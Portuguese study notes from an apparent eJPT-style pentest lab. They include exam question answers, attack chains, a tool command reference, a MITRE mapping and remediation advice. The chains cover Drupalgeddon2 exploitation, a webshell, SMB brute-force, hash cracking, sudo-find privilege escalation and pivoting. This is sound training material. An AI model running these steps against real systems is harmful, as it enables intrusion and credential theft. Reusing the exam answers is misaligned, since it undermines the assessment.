Q17. CVE do OpenSMTPD?
R: CVE-2020-7247
Método: OpenSMTPD 2.0.0 na porta 25 do .52. Pesquisa: OpenSMTPD RCE 2020.
Q18. Quantos usuários enumeráveis via Samba no host Drupal?
R: 3
Método: enum4linux -a 192.168.100.52 via RID cycling → ubuntu, auditor, dbadmin.
Q19. Tipo de vulnerabilidade no Drupal?
R: RCE
Método: CVE-2018-7600 (Drupalgeddon2) é classificado como Remote Code Execution.
Q20. Tipo de vulnerabilidade no WINSERVER-03?
R: SMB Brute-Force
Método: Sem CVE — vulnerabilidade de configuração (política de senhas fraca + SMB exposto).
=== BLOCO 3 — EXPLORAÇÃO E TÉCNICAS (Q21-Q30) ===
Q21. Módulo Metasploit para Drupal?
R: exploit/unix/webapp/drupal_drupalgeddon2
Método: Módulo padrão para CVE-2018-7600 no Metasploit Framework.
Q22. Tipo de vulnerabilidade no WordPress?
R: RCE
Método: WordPress 5.9.3 tem vetores RCE conhecidos. Resposta esperada no eJPT: RCE.
Q23. Range CIDR da rede interna?
R: 192.168.1.0/24
Método: Identificado via route print no .51 e confirmado pelo escopo do lab.
Q24. Comando meterpreter para adicionar rota de rede?
R: autoroute
Método: run autoroute -s [subnet] ou run post/multi/manage/autoroute.
Q25. Porta do serviço vulnerável na rede interna?
R: 10000
Método: Porta 10000 = Webmin. Scan via proxychains após autoroute.
Q26. Senha do Administrator no WINSERVER-03?
R: [REDACTED — credencial dinâmica do exame]
Método: SMB brute-force via crackmapexec smb 192.168.100.55 -u Administrator -p [senha]
Q27. Senha da mary no WINSERVER-03?
R: [REDACTED — credencial dinâmica do exame]
Método: SMB brute-force.
Q28. Senha do mike no WINSERVER-01?
R: [REDACTED — credencial dinâmica do exame]
Método: SMB brute-force no .50.
Q29. Host vulnerável a command injection?
R: WINSERVER-02
Método: cmdasp.aspx aceita input do usuário e executa como comando OS = command injection.
Q30. CVSS v3 do Drupalgeddon2?
R: 9.8
Método: NVD — CVE-2018-7600 — CVSS v3.1 Base Score: 9.8 CRITICAL.
=== BLOCO 4 — CONFIGURAÇÕES E VERSÕES (Q31-Q45) ===
Q31. Arquivo para identificar versão do Drupal?
R: CHANGELOG.txt
Método: Drupal 7.x expõe CHANGELOG.txt publicamente com histórico de versões.
Q32. Quantas contas de usuário no Drupal?
R: 4
Método: admin, auditor, dbadmin, Vincenzo = 4 (linha vazia no dump = anônimo UID=0).
Q33. Versão do WordPress no WINSERVER-01?
R: 5.9.3
Método: nmap -sCV detecta via HTTP headers ou /wp-includes/version.php.
Q34. Arquivo de configuração do WordPress com credenciais de DB?
R: wp-config.php
Método: Padrão WordPress — credenciais de banco sempre em wp-config.php na raiz.
Q35. Host com DB na porta 3307?
R: 192.168.100.50
Método: WINSERVER-01 tem MySQL/MariaDB na porta não-padrão 3307 (WAMP).
Q36. Senha root do MySQL no host Drupal?
R: [REDACTED — credencial dinâmica]
Método: Obtida via settings.php do Drupal ou dump do banco após comprometer o sistema.
Q37. (Contas no WINSERVER-01 — sem número oficial no arquivo original)
Método: net user após comprometer via meterpreter.
crackmapexec smb 192.168.100.50 -u mike -p [senha] --users
Q38. Total de portas TCP abertas no WINSERVER-02?
R: 14
Método: 21, 80, 135, 139, 445, 3389, 49152, 49153, 49154, 49155, 49160
+ 5985 (WinRM) + outras efêmeras = 14.
Q39. (Conta admin no WINSERVER-03 — sem número oficial)
Método: net localgroup Administrators após comprometer.
Q40. (Host com usuário 'lawrence' — sem número oficial)
Método: enumeração de usuários em todos os hosts via crackmapexec / net user.
Q41. Algoritmo de hash nas senhas Linux?
R: SHA-512
Método: Hashes Drupal com prefixo $S$ = SHA-512.
/etc/shadow prefixo $6$ = SHA-512 por padrão no Linux.
Q42. Flag em C:\Users\mike\Documents\flag.txt?
R: Dynamic Flag
Método: acesso ao WINSERVER-01 como mike → type C:\Users\mike\Documents\flag.txt
Q43. Quantos HotFixes no WINSERVER-01?
R: 220
Método: Get-HotFix | Measure-Object (PowerShell) ou wmic qfe list
Q44. Flag em C:\Users\Administrator\flag.txt no WINSERVER-03?
R: Dynamic Flag
Método: comprometer WINSERVER-03 → type C:\Users\Administrator\flag.txt
Q45. Flag em /root/flag.txt no host Drupal?
R: Dynamic Flag
Método: Drupalgeddon2 → www-data → sudo find → root → cat /root/flag.txtnoteLições Aprendidas, Erros e Checklist de Recon
=== ERROS DOCUMENTADOS === Erro 1 — Typo no nmap: # ERRADO (sem hífen em T4): nmap -sS --min-rate 5000 T4 --open -Pn -n 192.168.100.5/24 # 'Failed to resolve T4' — nmap interpretou T4 como hostname # Também: /24 na rede (.0), não no host (.5)! # CORRETO: nmap -sS --min-rate 5000 -T4 --open -Pn -n 192.168.100.0/24 Erro 2 — autoroute deprecated: # DEPRECATED (funciona mas gera warning): run autoroute -s 172.21.0.0/16 # CORRETO (método atual): run post/multi/manage/autoroute SUBNET=172.21.0.0 NETMASK=255.255.0.0 === INSIGHTS IMPORTANTES === 1. Sempre verificar FTP anônimo primeiro — vetor mais rápido e frequente em labs 2. CHANGELOG.txt do Drupal é público — checar antes de qualquer exploit 3. settings.php do Drupal tem credenciais de DB — após comprometer, sempre ler 4. sudo -l imediatamente após shell — verificar permissões sudo é prioridade no Linux 5. GTFObins é essencial — qualquer binário em sudo sem senha pode ser privesc 6. MariaDB reporta versão como MySQL — entender para responder questões corretamente 7. SMB signing desativado ≠ só relay — brute-force também é viável com política fraca 8. Flags são dinâmicas — documentar sempre o MÉTODO, nunca o valor === CHECKLIST DE RECONHECIMENTO === [ ] Host discovery completo (-sn) [ ] Port scan rápido de toda a rede [ ] Service scan detalhado em cada host [ ] FTP anônimo testado em todas as portas 21 [ ] SSH testado para banner grab [ ] HTTP: curl -I + dirsearch/gobuster [ ] SMB: enum4linux em todos os hosts [ ] SMTP: verificar versão e CVEs [ ] MySQL: testar conexão anônima [ ] RDP: testar com creds encontradas
noteCadeias de Ataque — Attack Chains Completas
Chain 1 — WINSERVER-02 (MAIS RÁPIDO — <5 min) Recon → FTP Anon (.51) → cmdasp.aspx no webroot IIS → http://192.168.100.51/cmdasp.aspx → RCE como DefaultAppPool → Meterpreter reverse_tcp Chain 2 — LINUX-01 (MAIS RICO — 20-30 min) Recon → curl CHANGELOG.txt → Drupal 7.57 confirmado → Drupalgeddon2 (MSF) → shell www-data → python3 pty.spawn → upgrade TTY → cat settings.php → credenciais MySQL → mysql dump users → hashes SHA-512 → john/hashcat → senhas em texto claro → ssh auditor/dbadmin@.52 → sudo -l → NOPASSWD: /usr/bin/find → sudo find . -exec /bin/bash \; -quit → root → cat /root/flag.txt Chain 3 — WINSERVER-03 (variável — depende do wordlist) Recon → SMB aberto em .55 → enum4linux / crackmapexec → smb_login brute-force com rockyou.txt → credenciais Administrator / mary → xfreerdp → RDP → acesso total → type C:\Users\Administrator\flag.txt Chain 4 — Lateral Movement / Pivot LINUX-01 comprometido → ip addr → eth1: 172.21.x.x → autoroute SUBNET=172.21.0.0 NETMASK=255.255.0.0 → socks_proxy porta 1080 → proxychains nmap 192.168.1.0/24 → porta 10000 (Webmin) identificada → CVE-2019-15107 disponível
noteFerramentas — Referência Completa de Comandos
=== NMAP === nmap -sn [rede]/24 -oN hosts.txt # host discovery nmap -sS --min-rate 5000 -T4 --open -Pn -n [rede]/24 # port scan rápido nmap -sCV -p[portas] -oN output.txt [hosts] # service/version nmap -p- -T4 [host] # scan completo nmap -sU --top-ports 100 [host] # UDP scan (lento) nmap -p445 --script smb-security-mode [host] # SMB signing === ENUM4LINUX === enum4linux -a [host] # enumeração SMB completa enum4linux -U [host] # apenas usuários enum4linux -S [host] # apenas shares enum4linux -P [host] # apenas política de senhas === METASPLOIT === msfconsole search drupal / smb_login / opensmtpd use [módulo] → info → show options → set [OPÇÃO] [valor] → run sessions -l / sessions -i [id] sysinfo / getuid / ps / shell / upload / download run post/multi/manage/autoroute run post/multi/recon/local_exploit_suggester === CRACKMAPEXEC / NETEXEC === crackmapexec smb [rede]/24 crackmapexec smb [host] -u users.txt -p passwords.txt crackmapexec smb [host] -u [user] -p [pass] --shares crackmapexec smb [host] -u [user] -p [pass] --users crackmapexec smb [host] -u [user] -p [pass] -x 'whoami' === JOHN THE RIPPER / HASHCAT === john --format=drupal7 hashes.txt --wordlist=rockyou.txt john --show hashes.txt hashcat -m 7900 hashes.txt rockyou.txt # Drupal ($S$) hashcat -m 1800 hashes.txt rockyou.txt # SHA-512 Unix ($6$) === CURL (RECON WEB) === curl http://[host]/drupal/CHANGELOG.txt # versão Drupal curl http://[host]/wp-includes/version.php # versão WordPress curl -I http://[host] # headers HTTP curl -X OPTIONS http://[host] -v # WebDAV methods === WORDLISTS === /usr/share/wordlists/rockyou.txt /usr/share/seclists/ /usr/share/seclists/Usernames/top-usernames-shortlist.txt
noteMITRE ATT&CK Mapping + Referências Técnicas
=== MITRE ATT&CK === T1190 Exploit Public-Facing Application → Drupalgeddon2, Webshell IIS T1505.003 Web Shell → cmdasp.aspx no IIS T1110 Brute Force → SMB (.55, .50), SSH (.52) T1003 OS Credential Dumping → MySQL dump Drupal users T1548.003 Sudo and Sudo Caching → sudo find privesc T1021 Remote Services → RDP, SSH, SMB T1046 Network Service Discovery → nmap, enum4linux T1572 Protocol Tunneling → autoroute, SOCKS5 proxy === CVEs E ADVISORY === CVE-2018-7600 → https://nvd.nist.gov/vuln/detail/CVE-2018-7600 CVE-2020-7247 → https://nvd.nist.gov/vuln/detail/CVE-2020-7247 Drupal SA → https://www.drupal.org/sa-core-2018-002 === FERRAMENTAS === GTFObins (sudo escape) → https://gtfobins.github.io/ Metasploit Modules → https://www.rapid7.com/db/ nmap Reference → https://nmap.org/book/ enum4linux → https://github.com/CiscoCXSecurity/enum4linux CVE-2019-15107 Webmin → (rede interna — porta 10000)
noteRemediação Completa por Host
=== WINSERVER-02 (192.168.100.51) === FTP Anônimo habilitado → Desabilitar; usar SFTP com autenticação forte Webshell no webroot → Remover cmdasp.aspx; implementar monitoramento de integridade WebDAV com PUT habilitado → Desabilitar WebDAV ou restringir a IPs com autenticação IIS listagem de diretório → Desabilitar Directory Browsing nas configurações IIS SMB signing desativado → Habilitar SMB signing obrigatório via GPO === LINUX-01 (192.168.100.52) === Drupal 7.57 (CVE-2018-7600) → Atualizar para Drupal 7.58+ ou migrar para Drupal 9/10 OpenSMTPD 2.0.0 (CVE-2020-7247)→ Atualizar para OpenSMTPD >= 6.6.3p1 FTP Anônimo (vsftpd) → Desabilitar anonymous_enable no vsftpd.conf sudo find NOPASSWD → Remover entrada do sudoers; princípio do menor privilégio MySQL exposto → Bind ao localhost (127.0.0.1) no my.cnf Samba signing desativado → Habilitar 'server signing = mandatory' no smb.conf Política de senhas fraca → Implementar PAM com pam_pwquality === WINSERVER-03 (192.168.100.55) === Senhas fracas → Política: min 12 chars, maiúscula, número, especial Sem lockout policy → Configurar: 5 tentativas → bloqueio por 30 minutos SMB signing desativado → GPO: 'Microsoft network server: Digitally sign communications' Administrator com senha fraca → Renomear conta; usar conta admin dedicada com senha forte === TODOS OS HOSTS === - Implementar IDS/IPS (Snort, Suricata) - Centralizar logs (SIEM) - Segmentação de rede mais granular - Patching automático ou processo de patch management - Varreduras regulares de vulnerabilidades - Testes de penetração periódicos